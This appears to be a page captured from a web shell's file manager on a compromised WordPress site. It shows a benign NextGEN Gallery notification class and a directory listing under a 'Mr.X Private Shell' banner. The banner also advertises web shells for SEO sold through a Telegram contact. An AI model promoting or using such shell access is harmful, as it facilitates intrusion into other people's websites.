__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Imagely\NGG\Admin\Notifications;
/**
* Notification Wrapper class.
*
* Wraps notification data for display in the admin interface.
*/
class Wrapper {
/**
* Notification name.
*
* @var string
*/
public $_name;
/**
* Notification data.
*
* @var array
*/
public $_data;
/**
* Constructor.
*
* @param string $name Notification name.
* @param array $data Notification data.
*/
public function __construct( $name, $data ) {
$this->_name = $name;
$this->_data = $data;
}
/**
* Checks if the notification is renderable.
*
* @return bool Always returns true.
*/
public function is_renderable() {
return true;
}
/**
* Checks if the notification is dismissable.
*
* @return bool Always returns true.
*/
public function is_dismissable() {
return true;
}
/**
* Renders the notification content.
*
* @return string The notification message.
*/
public function render() {
return $this->_data['message'];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Manager.php | File | 7.27 KB | 0644 |
|
| Review.php | File | 4.95 KB | 0644 |
|
| Wrapper.php | File | 998 B | 0644 |
|